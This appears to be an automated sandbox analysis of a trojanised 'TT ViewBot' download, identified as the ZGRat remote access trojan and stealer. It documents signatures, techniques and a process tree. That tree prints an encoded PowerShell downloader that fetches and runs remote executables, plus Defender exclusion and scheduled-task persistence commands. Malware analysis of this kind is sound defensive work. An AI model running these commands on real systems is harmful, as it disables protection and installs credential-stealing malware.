zgrat | 0aa3a8f7bd8f94484b0435e72e292744161b0707186f94845b7b6b54ac8f874d

Analysis

max time kernel
149s
max time network
147s
platform
windows7_x64
resource
win7-20240419-en
resource tags

arch:x64arch:x86image:win7-20240419-enlocale:en-usos:windows7-x64system
submitted
07-05-2024 04:28

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

TT ViewBot v2.0/bot_start.exe
Size

2.5MB
MD5

bf4a8b1ff2f896acac3e7ace357abfca
SHA1

c1bd1b3d2959d844f6b4e339f45d3749667df3e1
SHA256

e0d1d7c74b52bbd40f5dc85cb9b3ab69ae750d8fc3f5fbd15a98eed616c1ce8e
SHA512

fd7082a905540e23a5c5b6fd2717c0255ede2680bef16076f174d417bbeef4694e2fa82a8f9e0407cc160344cc194edd19ab40901b468c1695a1b8773e23e494
SSDEEP

49152:Tfx0DZfVUfCnJA3bxBLbsgyGKEQYdfT3kVYCNN5oUpwmJFkjQuQLLOet:l4ZnIlBvyGKJA3kVD4lIl7r

Score

10^/10

zgrat execution rat spyware stealer

Malware Config

Signatures

Detect ZGRat V1 4 IoCs

resource	yara_rule
behavioral17/files/0x0012000000015ca9-81.dat	family_zgrat_v1
behavioral17/files/0x0007000000016d36-99.dat	family_zgrat_v1
behavioral17/memory/292-100-0x0000000000FC0000-0x00000000011C6000-memory.dmp	family_zgrat_v1
behavioral17/memory/1908-177-0x0000000000BD0000-0x0000000000DD6000-memory.dmp	family_zgrat_v1

Process spawned unexpected child process 15 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1616	1924	schtasks.exe	37
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	764	1924	schtasks.exe	37
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1744	1924	schtasks.exe	37
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1368	1924	schtasks.exe	37
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1848	1924	schtasks.exe	37
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1596	1924	schtasks.exe	37
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1036	1924	schtasks.exe	37
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2028	1924	schtasks.exe	37
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2012	1924	schtasks.exe	37
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	592	1924	schtasks.exe	37
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3024	1924	schtasks.exe	37
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2432	1924	schtasks.exe	37
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3040	1924	schtasks.exe	37
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	900	1924	schtasks.exe	37
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1516	1924	schtasks.exe	37

ZGRat
ZGRat is remote access trojan written in C#.
rat zgrat

Blocklisted process makes network request 3 IoCs

flow	pid	Process
3	1748	powershell.exe
5	1748	powershell.exe
7	1748	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1748	powershell.exe
888	powershell.exe
2428	powershell.exe
3060	powershell.exe
2888	powershell.exe
1984	powershell.exe

Downloads MZ/PE file

Executes dropped EXE 3 IoCs

pid	Process
2924	tthyperRuntimedhcpSvc.exe
292	tthyperRuntimedhcpSvc.exe
1908	Idle.exe

Loads dropped DLL 3 IoCs

pid	Process
1748	powershell.exe
352	cmd.exe
352	cmd.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
2068	bot_start.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\Panther\UnattendGC\conhost.exe	tthyperRuntimedhcpSvc.exe
File created	C:\Windows\Panther\UnattendGC\088424020bedd6	tthyperRuntimedhcpSvc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 15 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
1616	schtasks.exe
1744	schtasks.exe
1036	schtasks.exe
1596	schtasks.exe
2012	schtasks.exe
2432	schtasks.exe
1368	schtasks.exe
1848	schtasks.exe
2028	schtasks.exe
900	schtasks.exe
1516	schtasks.exe
764	schtasks.exe
592	schtasks.exe
3024	schtasks.exe
3040	schtasks.exe

Modifies registry class 9 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000_CLASSES\py_auto_file\	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000_CLASSES\.py	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000_CLASSES\.py\ = "py_auto_file"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000_CLASSES\py_auto_file\shell\Read\command	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000_CLASSES\py_auto_file\shell\Read\command\ = "\"C:\\Program Files (x86)\\Adobe\\Reader 9.0\\Reader\\AcroRd32.exe\" \"%1\""	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000_Classes\Local Settings	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000_CLASSES\py_auto_file\shell\Read	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000_CLASSES\py_auto_file\shell	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000_CLASSES\py_auto_file	rundll32.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2524	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1748	powershell.exe
1748	powershell.exe
1748	powershell.exe
1748	powershell.exe
1748	powershell.exe
292	tthyperRuntimedhcpSvc.exe
292	tthyperRuntimedhcpSvc.exe
292	tthyperRuntimedhcpSvc.exe
292	tthyperRuntimedhcpSvc.exe
292	tthyperRuntimedhcpSvc.exe
292	tthyperRuntimedhcpSvc.exe
292	tthyperRuntimedhcpSvc.exe
292	tthyperRuntimedhcpSvc.exe
292	tthyperRuntimedhcpSvc.exe
292	tthyperRuntimedhcpSvc.exe
292	tthyperRuntimedhcpSvc.exe
292	tthyperRuntimedhcpSvc.exe
292	tthyperRuntimedhcpSvc.exe
292	tthyperRuntimedhcpSvc.exe
292	tthyperRuntimedhcpSvc.exe
292	tthyperRuntimedhcpSvc.exe
292	tthyperRuntimedhcpSvc.exe
292	tthyperRuntimedhcpSvc.exe
292	tthyperRuntimedhcpSvc.exe
292	tthyperRuntimedhcpSvc.exe
292	tthyperRuntimedhcpSvc.exe
292	tthyperRuntimedhcpSvc.exe
292	tthyperRuntimedhcpSvc.exe
292	tthyperRuntimedhcpSvc.exe
292	tthyperRuntimedhcpSvc.exe
292	tthyperRuntimedhcpSvc.exe
292	tthyperRuntimedhcpSvc.exe
292	tthyperRuntimedhcpSvc.exe
292	tthyperRuntimedhcpSvc.exe
292	tthyperRuntimedhcpSvc.exe
292	tthyperRuntimedhcpSvc.exe
292	tthyperRuntimedhcpSvc.exe
292	tthyperRuntimedhcpSvc.exe
292	tthyperRuntimedhcpSvc.exe
292	tthyperRuntimedhcpSvc.exe
292	tthyperRuntimedhcpSvc.exe
292	tthyperRuntimedhcpSvc.exe
292	tthyperRuntimedhcpSvc.exe
292	tthyperRuntimedhcpSvc.exe
292	tthyperRuntimedhcpSvc.exe
292	tthyperRuntimedhcpSvc.exe
292	tthyperRuntimedhcpSvc.exe
292	tthyperRuntimedhcpSvc.exe
292	tthyperRuntimedhcpSvc.exe
292	tthyperRuntimedhcpSvc.exe
292	tthyperRuntimedhcpSvc.exe
292	tthyperRuntimedhcpSvc.exe
292	tthyperRuntimedhcpSvc.exe
292	tthyperRuntimedhcpSvc.exe
292	tthyperRuntimedhcpSvc.exe
292	tthyperRuntimedhcpSvc.exe
292	tthyperRuntimedhcpSvc.exe
292	tthyperRuntimedhcpSvc.exe
292	tthyperRuntimedhcpSvc.exe
292	tthyperRuntimedhcpSvc.exe
292	tthyperRuntimedhcpSvc.exe
292	tthyperRuntimedhcpSvc.exe
292	tthyperRuntimedhcpSvc.exe
292	tthyperRuntimedhcpSvc.exe

Suspicious behavior: GetForegroundWindowSpam 2 IoCs

pid	Process
1304	AcroRd32.exe
1908	Idle.exe

Suspicious use of AdjustPrivilegeToken 8 IoCs

description	pid	Process
Token: SeDebugPrivilege	1748	powershell.exe
Token: SeDebugPrivilege	292	tthyperRuntimedhcpSvc.exe
Token: SeDebugPrivilege	1984	powershell.exe
Token: SeDebugPrivilege	2428	powershell.exe
Token: SeDebugPrivilege	3060	powershell.exe
Token: SeDebugPrivilege	888	powershell.exe
Token: SeDebugPrivilege	2888	powershell.exe
Token: SeDebugPrivilege	1908	Idle.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
2068	bot_start.exe
1304	AcroRd32.exe
1304	AcroRd32.exe

Suspicious use of WriteProcessMemory 58 IoCs

description	pid	Process	procid_target
PID 2068 wrote to memory of 1748	2068	bot_start.exe	28
PID 2068 wrote to memory of 1748	2068	bot_start.exe	28
PID 2068 wrote to memory of 1748	2068	bot_start.exe	28
PID 2068 wrote to memory of 1748	2068	bot_start.exe	28
PID 1748 wrote to memory of 2924	1748	powershell.exe	30
PID 1748 wrote to memory of 2924	1748	powershell.exe	30
PID 1748 wrote to memory of 2924	1748	powershell.exe	30
PID 1748 wrote to memory of 2924	1748	powershell.exe	30
PID 1748 wrote to memory of 2080	1748	powershell.exe	31
PID 1748 wrote to memory of 2080	1748	powershell.exe	31
PID 1748 wrote to memory of 2080	1748	powershell.exe	31
PID 1748 wrote to memory of 2080	1748	powershell.exe	31
PID 1748 wrote to memory of 2080	1748	powershell.exe	31
PID 1748 wrote to memory of 2080	1748	powershell.exe	31
PID 1748 wrote to memory of 2080	1748	powershell.exe	31
PID 2924 wrote to memory of 1336	2924	tthyperRuntimedhcpSvc.exe	32
PID 2924 wrote to memory of 1336	2924	tthyperRuntimedhcpSvc.exe	32
PID 2924 wrote to memory of 1336	2924	tthyperRuntimedhcpSvc.exe	32
PID 2924 wrote to memory of 1336	2924	tthyperRuntimedhcpSvc.exe	32
PID 2080 wrote to memory of 1304	2080	rundll32.exe	33
PID 2080 wrote to memory of 1304	2080	rundll32.exe	33
PID 2080 wrote to memory of 1304	2080	rundll32.exe	33
PID 2080 wrote to memory of 1304	2080	rundll32.exe	33
PID 1336 wrote to memory of 352	1336	WScript.exe	34
PID 1336 wrote to memory of 352	1336	WScript.exe	34
PID 1336 wrote to memory of 352	1336	WScript.exe	34
PID 1336 wrote to memory of 352	1336	WScript.exe	34
PID 352 wrote to memory of 292	352	cmd.exe	36
PID 352 wrote to memory of 292	352	cmd.exe	36
PID 352 wrote to memory of 292	352	cmd.exe	36
PID 352 wrote to memory of 292	352	cmd.exe	36
PID 292 wrote to memory of 3060	292	tthyperRuntimedhcpSvc.exe	53
PID 292 wrote to memory of 3060	292	tthyperRuntimedhcpSvc.exe	53
PID 292 wrote to memory of 3060	292	tthyperRuntimedhcpSvc.exe	53
PID 292 wrote to memory of 2428	292	tthyperRuntimedhcpSvc.exe	54
PID 292 wrote to memory of 2428	292	tthyperRuntimedhcpSvc.exe	54
PID 292 wrote to memory of 2428	292	tthyperRuntimedhcpSvc.exe	54
PID 292 wrote to memory of 888	292	tthyperRuntimedhcpSvc.exe	55
PID 292 wrote to memory of 888	292	tthyperRuntimedhcpSvc.exe	55
PID 292 wrote to memory of 888	292	tthyperRuntimedhcpSvc.exe	55
PID 292 wrote to memory of 1984	292	tthyperRuntimedhcpSvc.exe	56
PID 292 wrote to memory of 1984	292	tthyperRuntimedhcpSvc.exe	56
PID 292 wrote to memory of 1984	292	tthyperRuntimedhcpSvc.exe	56
PID 292 wrote to memory of 2888	292	tthyperRuntimedhcpSvc.exe	57
PID 292 wrote to memory of 2888	292	tthyperRuntimedhcpSvc.exe	57
PID 292 wrote to memory of 2888	292	tthyperRuntimedhcpSvc.exe	57
PID 292 wrote to memory of 1628	292	tthyperRuntimedhcpSvc.exe	63
PID 292 wrote to memory of 1628	292	tthyperRuntimedhcpSvc.exe	63
PID 292 wrote to memory of 1628	292	tthyperRuntimedhcpSvc.exe	63
PID 1628 wrote to memory of 2568	1628	cmd.exe	65
PID 1628 wrote to memory of 2568	1628	cmd.exe	65
PID 1628 wrote to memory of 2568	1628	cmd.exe	65
PID 1628 wrote to memory of 2524	1628	cmd.exe	66
PID 1628 wrote to memory of 2524	1628	cmd.exe	66
PID 1628 wrote to memory of 2524	1628	cmd.exe	66
PID 1628 wrote to memory of 1908	1628	cmd.exe	67
PID 1628 wrote to memory of 1908	1628	cmd.exe	67
PID 1628 wrote to memory of 1908	1628	cmd.exe	67

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\TT ViewBot v2.0\bot_start.exe
"C:\Users\Admin\AppData\Local\Temp\TT ViewBot v2.0\bot_start.exe"
1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2068
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHgAeQBkACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAcQBkAGgAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAbgBuAHQAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAawBqAHYAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGIAbwBvAGsAcgBlAGEAZABpAG4AZwAyADAAMgA0AC4AbgBlAHQALwByAGUAbQBvAHQAZQAvAHQAdABoAHkAcABlAHIAUgB1AG4AdABpAG0AZQBkAGgAYwBwAFMAdgBjAC4AZQB4AGUAJwAsACAAPAAjAGoAdABpACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAegB2AGgAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAcABtAGEAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAdAB0AGgAeQBwAGUAcgBSAHUAbgB0AGkAbQBlAGQAaABjAHAAUwB2AGMALgBlAHgAZQAnACkAKQA8ACMAZAB1AGEAIwA+ADsAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AYgBvAG8AawByAGUAYQBkAGkAbgBnADIAMAAyADQALgBuAGUAdAAvAGMAbAAvAG0AYQBpAG4ALgBwAHkAJwAsACAAPAAjAHgAaAB1ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAYwB1AGUAIwA+ACAALQBQAGEAdABoACAAKAAkAHAAdwBkACkALgBwAGEAdABoACAAPAAjAHUAaQBlACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAG0AYQBpAG4ALgBwAHkAJwApACkAPAAjAGEAYQBqACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAGUAawBpACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBjAGEAaQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwB0AHQAaAB5AHAAZQByAFIAdQBuAHQAaQBtAGUAZABoAGMAcABTAHYAYwAuAGUAeABlACcAKQA8ACMAZQB0AGYAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAcAB4AGsAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACgAJABwAHcAZAApAC4AcABhAHQAaAAgADwAIwB4AHYAeAAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBtAGEAaQBuAC4AcAB5ACcAKQA8ACMAYwB1AGwAIwA+AA=="
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Loads dropped DLL
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1748
- - C:\Users\Admin\AppData\Roaming\tthyperRuntimedhcpSvc.exe
    "C:\Users\Admin\AppData\Roaming\tthyperRuntimedhcpSvc.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:2924
  - - C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\ChainReview\vN2WLFOsikyY5Jq7XrHIwXoKGZgWET9I.vbe"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1336
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c ""C:\ChainReview\36Xky7wXbnjE3BIjQdUmzIM.bat" "
        5⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:352
      - C:\ChainReview\tthyperRuntimedhcpSvc.exe
        
        "C:\ChainReview/tthyperRuntimedhcpSvc.exe"
        6⤵
        Executes dropped EXE
        Drops file in Windows directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:292
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ChainReview\System.exe'
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:3060
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\Panther\UnattendGC\conhost.exe'
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:2428
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ChainReview\dwm.exe'
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:888
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\MSOCache\All Users\{90140000-0018-0409-0000-0000000FF1CE}-C\winlogon.exe'
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:1984
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\07daf2c2-fe8f-11ee-804d-f636db4e28e7\Idle.exe'
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:2888
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\OgzDPG0JG4.bat"
        7⤵
        Suspicious use of WriteProcessMemory
        
        PID:1628
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        8⤵
        
        PID:2568
        
        C:\Windows\system32\PING.EXE
        
        ping -n 10 localhost
        8⤵
        Runs ping.exe
        
        PID:2524
        
        C:\Recovery\07daf2c2-fe8f-11ee-804d-f636db4e28e7\Idle.exe
        
        "C:\Recovery\07daf2c2-fe8f-11ee-804d-f636db4e28e7\Idle.exe"
        8⤵
        Executes dropped EXE
        Suspicious behavior: GetForegroundWindowSpam
        Suspicious use of AdjustPrivilegeToken
        
        PID:1908
- - C:\Windows\SysWOW64\rundll32.exe
    "C:\Windows\system32\rundll32.exe" C:\Windows\system32\shell32.dll,OpenAs_RunDLL C:\Users\Admin\AppData\Local\Temp\TT ViewBot v2.0\main.py
    3⤵
    - Modifies registry class
    - Suspicious use of WriteProcessMemory
    PID:2080
  - - C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe
      "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Local\Temp\TT ViewBot v2.0\main.py"
      4⤵
      Suspicious behavior: GetForegroundWindowSpam
      Suspicious use of SetWindowsHookEx
      PID:1304

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SystemS" /sc MINUTE /mo 9 /tr "'C:\ChainReview\System.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1616

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "System" /sc ONLOGON /tr "'C:\ChainReview\System.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:764

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SystemS" /sc MINUTE /mo 6 /tr "'C:\ChainReview\System.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1744

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 9 /tr "'C:\Windows\Panther\UnattendGC\conhost.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1368

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\Windows\Panther\UnattendGC\conhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1848

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 6 /tr "'C:\Windows\Panther\UnattendGC\conhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1596

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dwmd" /sc MINUTE /mo 11 /tr "'C:\ChainReview\dwm.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1036

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dwm" /sc ONLOGON /tr "'C:\ChainReview\dwm.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2028

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dwmd" /sc MINUTE /mo 7 /tr "'C:\ChainReview\dwm.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2012

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 6 /tr "'C:\MSOCache\All Users\{90140000-0018-0409-0000-0000000FF1CE}-C\winlogon.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:592

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "winlogon" /sc ONLOGON /tr "'C:\MSOCache\All Users\{90140000-0018-0409-0000-0000000FF1CE}-C\winlogon.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3024

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 5 /tr "'C:\MSOCache\All Users\{90140000-0018-0409-0000-0000000FF1CE}-C\winlogon.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2432

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "IdleI" /sc MINUTE /mo 8 /tr "'C:\Recovery\07daf2c2-fe8f-11ee-804d-f636db4e28e7\Idle.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3040

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "Idle" /sc ONLOGON /tr "'C:\Recovery\07daf2c2-fe8f-11ee-804d-f636db4e28e7\Idle.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:900

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "IdleI" /sc MINUTE /mo 6 /tr "'C:\Recovery\07daf2c2-fe8f-11ee-804d-f636db4e28e7\Idle.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1516

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ChainReview\36Xky7wXbnjE3BIjQdUmzIM.bat

Filesize
91B

MD5
6c4e82d40f84cbc9a6fec4a5a981a42d

SHA1
b9b43a7e2f9f4ad4767974bf4304a9e2a044fca3

SHA256
78d5a5d4618dce787ecc963e5f499af55e8c733b28842311f59d4f385ec42d5b

SHA512
262c93cb040935bd1f3b7ef8140e6ac322a9601ebb0004b5da24edea0b268db6b178f1d3c5d62c6e95b717603a3d29a00c56f90c8c3479b98335617e42700842

Download Submit
C:\ChainReview\tthyperRuntimedhcpSvc.exe

Filesize
2.0MB

MD5
4518369532566e624ed62d5715fc072c

SHA1
c8a4e4d75a1d3ef9e772b7264d61a4a65c37db33

SHA256
ad29e830bbc1cb324af918e800caed762d0d2e5a76cdca70cd3926d06add78f0

SHA512
d08d1124262cb10862562cccb7c4c1af0a9cc1c0f298fa8a596d528fb8b8be4804217c648de327f57c360267ab756db35b067f3961d1efd50b409a04a1505ae0

Download Submit
C:\ChainReview\vN2WLFOsikyY5Jq7XrHIwXoKGZgWET9I.vbe

Filesize
212B

MD5
43e82435c4abdf7a34d3f8ac5c575deb

SHA1
6d41a829dc856e7d911e8a95e8a4c7463cf18043

SHA256
1a8093c1223cfab24ebb1185ee1e5ac65909caf9ee9d5d6dc600c82a5d040acf

SHA512
e05cd9e7d232e452cc337335603864368ec042a7f6e322a4d76eb62ada78fca956a17a93d97c86b859e2114f8b2d6d2a0cb60190b8dad6797a62c31d92e6037f

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
97045b8149497ba106c04bdcab43c98f

SHA1
c82db9ea0b62bd2b6da290a9b510a6afb90fade7

SHA256
346289c36c5e67bdd71cacf50851c22d5048dad1447974d1a47c1d1d44e8064c

SHA512
f80794081defe0cd6cdef8daba0426aba49b8746b30cffebc0d7b5856be5e34cb7468d273aa301e1cf6a95d28100d84df68758cd1aa0324332a38a35b14e530a

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cab1F17.tmp

Filesize
68KB

MD5
29f65ba8e88c063813cc50a4ea544e93

SHA1
05a7040d5c127e68c25d81cc51271ffb8bef3568

SHA256
1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184

SHA512
e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa

Download Submit
C:\Users\Admin\AppData\Local\Temp\OgzDPG0JG4.bat

Filesize
185B

MD5
918e66e7a957d5d272301bc3461f9790

SHA1
f817220d2e5ea5da7cb9201288d44066c55dd660

SHA256
0abaaa7e9d8e27a77191a4fbdce22342a01b29582c9df9f5e2e7b2df50359939

SHA512
247b3c5cc25562ec087ecfd4a01a6204c6c36c3bc836b77fd6e806b3b0d4920ca783b7f6c44c4ba67d2d0c252674444644b8e0476a4ca755e166e4c33b0c1453

Download Submit
C:\Users\Admin\AppData\Local\Temp\TT ViewBot v2.0\main.py

Filesize
5KB

MD5
aa214e7b8696382bdc34b4122f001cfc

SHA1
8eb821b861487e9a508f405db163a2c5e12cb3f2

SHA256
484efff3a213de2098b2943b80b4520f459bc74b253f78be03c3b6c32a22b747

SHA512
806793ba81621fba580fcc51032a381c5625e3c1602ec57ef063bc99bc57e11d10a21cbec4f0099d46736e9b9f26b04f542b994a2ac6ad020fd3f1d083499c68

Download Submit
